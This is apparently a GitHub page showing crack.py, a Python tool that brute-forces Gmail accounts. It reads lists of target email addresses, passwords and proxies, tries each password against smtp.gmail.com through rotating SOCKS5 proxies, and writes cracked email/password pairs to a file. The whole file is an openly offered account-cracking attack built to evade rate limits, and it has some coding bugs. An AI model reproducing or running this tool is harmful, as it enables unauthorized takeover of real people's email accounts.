-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcrack.py
119 lines (89 loc) · 3.39 KB
/
crack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
import smtplib
import socket
import os
import socket
from setup.banner import banner , banner2 , clear
from setup.colors import r,c,g,y,ran
from setup.sprint import sprint
try:
import socks
except ModuleNotFoundError:
os.system("pip install spcks")
clear()
banner()
yes = ["y" , "yes"]
no = ["n" , "no"]
try:
em_choice = input(ran + "Enter path of email: "+g)
except FileNotFoundError:
sprint(r + "File not found")
exit(0)
try:
pass_choice = input(y + "Do you want to use default wordlist? "+r+"(y/n) :"+g).lower()
if pass_choice in yes:
passlist = r"files/passwords.txt"
else:
passlist = input(c + "Enter path of worlist: "+g)
except FileNotFoundError:
sprint(r + "File not found")
exit(0)
try:
prox_choice = input(ran + "Do you want to use default proxy list? " +c+ "(y/n): ").lower()
if prox_choice in yes:
proxy_list = r"files/HTTP.txt"
else:
proxy_list = input(ran + "Enter path of proxies: "+g)
except FileNotFoundError:
sprint(r + "File not found")
exit(0)
o_pass = r"files/passwords.txt"
o_tried = r"files/tried.txt"
o_found = r"files/found.txt"
passwords = [i.strip("\n") for i in open(passlist , "r").readlines()]
tried = [i.strip("\n") for i in open("files/tried.txt")]
found = [i.strip("\n") for i in open("files/found.txt" , "r").readlines()]
mails = [i.strip("\n") for i in open(em_choice , "r").readlines()]
ip = [i.strip("\n") for i in open("files/HTTP.txt" , "r").readlines()]
px = 0
def cracker():
for m in mails:
print(f"{y}Fetching mail {r}{str(m)}")
for n , password in enumerate(passwords):
tot_pass = str(len(passwords))
print(f"{c}Trying password {r}{str(password)}: {g}{str(n)}/{y}{tot_pass}")
print
with open(o_tried , "a") as f:
f.write(f"{m} -- {password}\n")
try :
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
except smtplib.SMTPServerDisconnected:
print("/033[1;31mIt seems something is wrong.")
try :
with open(proxy_list , "r") as file:
proxies = file.readlines()
proxy = proxies[px].replace('\n','').split(":")
socket.socket = socks.socksocket
socks.set_default_proxy(socks.SOCKS5,proxy[0],proxy[1] )
smtpserver.login(m , password)
with open(o_found , "a") as fo:
fo.write(f"{m} {password}")
print(y +"Password Found:"+c + str(password))
with open(o_found , "a") as fo:
fo.write(f"{m} {password}")
smtpserver.close()
break
except smtplib.SMTPAuthenticationError:
print("failed")
continue
px += 1
cont = ""
while cont not in no:
cracker()
ch = input(f"{ran}Continue? {y}(y/n): "+r).lower()
if ch in no:
clear
banner2()
else:
banner2()